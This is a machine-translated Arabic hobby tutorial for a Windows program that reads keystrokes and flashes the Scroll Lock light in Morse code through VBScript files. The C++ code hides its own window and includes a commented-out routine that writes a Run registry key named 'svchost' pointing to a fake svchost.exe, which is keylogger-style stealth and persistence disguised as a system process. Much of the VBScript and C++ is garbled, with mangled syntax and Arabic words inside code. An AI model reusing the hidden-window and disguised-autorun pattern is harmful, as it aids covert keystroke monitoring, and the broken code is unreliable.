جدول المحتويات:

لوحة مفاتيح مورس كود: 5 خطوات
لوحة مفاتيح مورس كود: 5 خطوات

فيديو: لوحة مفاتيح مورس كود: 5 خطوات

فيديو: لوحة مفاتيح مورس كود: 5 خطوات
فيديو: اختصارات ويندوز مهم تكون عارفها part3 2024, يوليو
Anonim
لوحة مفاتيح مورس كود
لوحة مفاتيح مورس كود

يوضح لك هذا البرنامج كيفية إنشاء برنامج c ++ يستخدم طريقة تسجيل المفاتيح للعثور على المفتاح الذي يتم الضغط عليه وإنشاء قيمة شفرة مورس من خلال استخدام ضوء قفل التمرير على لوحة المفاتيح (من يستخدم ذلك؟). يتكون هذا المشروع من 41 برنامجًا مختلفًا تتشابك وتتفاعل بسلاسة مع بعضها البعض ، وترجمة 3 لغات بين البرامج. لا توجد العديد من الصور في هذا الكتاب لأن المشروع يعتمد بالكامل على كود الكمبيوتر. بالنسبة لهذا المشروع ، ستحتاج إلى: لوحة مفاتيح مزودة بمصباح قفل التمرير Notepad شيء يمكنه تجميع كود c ++ (استخدمت CodeBlocks)

ماذا فعلت؟ لقد صنعت برنامج c ++ يترجم ضغطات المفاتيح إلى شفرة مورس من خلال استخدام برامج نصية vb التي صنعتها. كيف تجعل ذلك؟ لقد أمضيت وقتًا طويلاً في البحث عن c ++ و Morse code و vb script لأنني لم أكن أعرف أيًا منهما وبعد فترة امتلكت المعرفة اللازمة لصنع هذا البرنامج. قضيت بضع ساعات بعد البحث لتطوير برنامج بسيط لضغط المفاتيح ثم قمت ببعض الأبحاث حول فتح البرامج وتشغيل البرامج في الخلفية (غير قابل للكشف). لقد استخدمت هذه الطرق لإنشاء برنامج c ++ يعمل دون مقاطعة المستخدم أو شغل مساحة على الشاشة (يعمل في الخلفية). لقد أنشأت أيضًا ملفًا دفعيًا يقتل برنامج c ++ عندما ينتهي المستخدم منه ، أين قمت بإنشائه؟ لقد صنعت هذه البرامج على كمبيوتر العائلة في المنزل ، ووجدت وقتًا لا يحتاج فيه أفراد العائلة الآخرون إلى استخدام الكمبيوتر ، ماذا تعلمت؟ خلال هذا المشروع ، تعلمت إلى حد كبير 3 لغات جديدة وطوّرت القدرة على جعل هذه اللغات "تتواصل" مع بعضها البعض. لقد تعلمت أيضًا التعقيدات التي تأتي مع اللغات المختلفة وكيفية التغلب على الأخطاء والأخطاء (اضطررت إلى استخدام عقلي … للتفكير …).

الخطوة 1: ملفات.vbs (إنشاء)

ملفات.vbs (حروف المحتوى)
ملفات.vbs (حروف المحتوى)

A.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys. "} SCROLLOCK. sleep 900 wshell.sendkeys "{SCROLLLOCK}" B.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLcriptLOCK}" wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{" SCROLLLOCK. sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" C.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sellep 900 {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "9 wscript.sleep 00 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" D.vbs Set wshShell = wscript. Create. Shellject (").sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{wshell.shell. "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" E.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshell.sendkeys "{SCROLLLOCK}" wscript.sleepend {0} wshkey " SCROLLLOCK} "F.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleepend" SCROLLOCK} "wscript.sleepend" SCROLLOCK} " "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshell.sendkeys" {SCROLLLOCK} "wscript.sleepend 300 wshell.sleepend مفاتيح "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" G.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshell.sendkeys "{SCROLLLOCK}" wscript.selleps 900 " {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.selleps 300 } "H.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendOLLOCK" {SCROLLOCK} " wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshcriptshell. sleep 300 wshell.sendkeys "{SCROLLLOCK}" I.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOC K} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "J.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshell.sendkeys" "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshell.sendkeys" {SCROLLLOCK} "wscript.sleepend 300 wshOLLOCK" {SCROLLOCK} ".sleep 900 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" K.vbs Set wshShell = wscript. CreateO) wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{" SCROLLOCK} ".sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" L.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshell.sendkeys "{SCROLLLOCK}" wscript.slee ص 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeysLOCK 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" M.vbs Set wshShell = wscript. Create. SshObject. sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" N. CreateObject ("WScript. Shell") wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sellepsleep 300 } "O.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.s endkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" P.vellbs CreateObject ("WScript. Shell") wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.selleps } "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleepend" SCROLLOCK} " Q.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendcriptLOCK. "{SCROLLLOCK. sleep 900 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendk eys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" R.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshell.sendkeys "{SCROLLLOCK}" wscript.sell.sleep 300 {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.selleps 300 } "S.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendOLLOCK" {SCROLLLOCK} " wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}". ") wshell. leep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendOLsLOCK 900 wshell. sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLcriptshells}" wscript.sleep 300 {SCROLLLOCK} "wscript.sleep 900 wshell.sendkeys" {SCROLLLOCK} "تعيين W.vbs wshShell = wscript. CreateObject (" WScript. Shell ") wshell.sendkeys" {SCROLLLOCK} "wscript.sleepend {SCROLLOCK}" wscript.sleepend {SCROLLOCK "300 } "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" X.vbs تعيين wshShell = wscript. CreateObject ("WScript. Shell") wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{wshell.shell.sendkeys" {wscript.shell} ".sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{wshell.shell. "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" Y.vbs تعيين wshShell = wscript. CreateObject ("WScript. Shell") wshell.sendkeys "{SCROLLLOCK}" wscript.sleeps "900 SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sellep.sleep 900 "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshell.sendkeys" {SCROLLLOCK} "Z.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshell.se ndkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshell.sendkeys "{SCROLcriptLOCK}" wscript.sleeps " {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshell.sendkeys" {SCROLLLOCK}"

الخطوة 4: كود C ++

كود C ++
كود C ++

تأكد من حفظ هذا كـ Morse.cpp وإلا فلن يعمل. جهز نفسك… # include #include # include #include #define BUFSIZE 80 باستخدام مساحة الاسم std؛ int test_key (باطل) ؛ int create_key (char *) ؛ int get_keys (باطل) ؛ int main (void) {HWND stealth؛ AllocConsole () ، stealth = FindWindowA ("ConsoleWindowClass"، NULL) ؛ ShowWindow (التسلل ، 0) ؛ اختبار int ، إنشاء ؛ test = test_key () ؛ / * if (test == 2) {char * path = "c: \٪ windir٪ / svchost.exe" ؛ إنشاء = create_key (مسار) ؛ } * / int t = get_keys () ؛ عودة ر } int get_keys (باطل) {حرف قصير؛ while (1) {for (character = 8؛ character <= 222؛ character ++) {if (GetAsyncKeyState (character) == - 32767) {if (1 == 1) {if ((character> 64) && (character < 91)) {حرف + = 32 ؛ } switch (حرف) {case 97: ShellExecute (NULL، NULL، "A.vbs"، NULL، NULL، SW_SHOW)؛ استراحة؛ الحالة 98: ShellExecute (NULL ، NULL ، "B.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 99: ShellExecute (NULL ، NULL ، "C.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 100: ShellExecute (NULL ، NULL ، "D.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 101: ShellExecute (NULL ، NULL ، "E.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 102: ShellExecute (NULL ، NULL ، "F.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 103: ShellExecute (NULL ، NULL ، "G.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 104: ShellExecute (NULL ، NULL ، "H.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 105: ShellExecute (NULL ، NULL ، "I.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 106: ShellExecute (NULL ، NULL ، "J.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 107: ShellExecute (NULL ، NULL ، "K.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 108: ShellExecute (NULL ، NULL ، "L.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 109: ShellExecute (NULL ، NULL ، "M.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 110: ShellExecute (NULL ، NULL ، "N.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 111: ShellExecute (NULL ، NULL ، "O.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 112: ShellExecute (NULL ، NULL ، "P.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 113: ShellExecute (NULL ، NULL ، "Q.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 114: ShellExecute (NULL ، NULL ، "R.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 115: ShellExecute (NULL ، NULL ، "S.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 116: ShellExecute (NULL ، NULL ، "T.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 117: ShellExecute (NULL ، NULL ، "U.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 118: ShellExecute (NULL ، NULL ، "V.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 119: ShellExecute (NULL ، NULL ، "W.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 120: ShellExecute (NULL ، NULL ، "X.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 121: ShellExecute (NULL ، NULL ، "Y.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 122: ShellExecute (NULL ، NULL ، "Z.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 48: ShellExecute (NULL ، NULL ، "0.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 49: ShellExecute (NULL ، NULL ، "1.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 50: ShellExecute (NULL ، NULL ، "2.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 51: ShellExecute (NULL ، NULL ، "3.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 52: ShellExecute (NULL ، NULL ، "4.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 53: ShellExecute (NULL ، NULL ، "5.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 54: ShellExecute (NULL ، NULL ، "6.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 55: ShellExecute (NULL ، NULL ، "7.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 56: ShellExecute (NULL ، NULL ، "8.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة 57: ShellExecute (NULL ، NULL ، "9.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الحالة VK_SPACE: ShellExecute (NULL ، NULL ، "SPACE.vbs" ، NULL ، NULL ، SW_SHOW) ؛ استراحة؛ الافتراضي: كسر ؛ }}}}} إرجاع EXIT_SUCCESS ؛ } int test_key (void) {int check؛ مفتاح hKey ؛ مسار شار [BUFSIZE] ؛ DWORD buf_length = BUFSIZE ، int reg_key؛ reg_key = RegOpenKeyEx (HKEY_LOCAL_MACHINE، "SOFTWARE / Microsoft / Windows / CurrentVersion / Run" ، 0 ، KEY_QUERY_VALUE ، & hKey) ؛ إذا (reg_key! = 0) {check = 1 ؛ شيك العودة } reg_key = RegQueryValueEx (hKey، "svchost"، NULL، NULL، مسار (LPBYTE)، & buf_length)؛ if ((reg_key! = 0) || (buf_length> BUFSIZE)) تحقق = 2 ؛ إذا (reg_key == 0) تحقق = 0 ؛ RegCloseKey (hKey) ؛ شيك العودة } int create_key (char * path) {int reg_key، check؛ مفتاح HKEY reg_key = RegCreateKey (HKEY_LOCAL_MACHINE، "SOFTWARE / Microsoft / Windows / CurrentVersion / Run" ، & hkey) ؛ if (reg_key == 0) {RegSetValueEx ((HKEY) hkey، "svchost"، 0، REG_SZ، (BYTE *) path، strlen (path))؛ تحقق = 0 ؛ شيك العودة } if (reg_key! = 0) check = 1؛ شيك العودة }

الخطوة 5: قتل البرنامج

قتل البرنامج
قتل البرنامج
قتل البرنامج
قتل البرنامج

هناك طريقتان لقتل هذا البرنامج.

1. إما أن تضغط على CTRL + ALT + DELETE ثم انتقل إلى شريط المهام أو اضغط على CTRL + SHIFT + ESC ثم انتقل إلى العمليات وقم بالتمرير لأسفل إلى "Morse.exe". بعد ذلك ، حدد "Morse.exe" وانقر فوق "إنهاء العملية" 2. إنشاء ملف نصي جديد (المفكرة) الصق السطر التالي من التعليمات البرمجية في الملف النصي: taskkill / IM Morse.exe بمجرد القيام بذلك ، احفظه كما MorseKill.bat الآن عند النقر فوقه ، فإنه يغلق عمليات Morse.exe عبر

موصى به: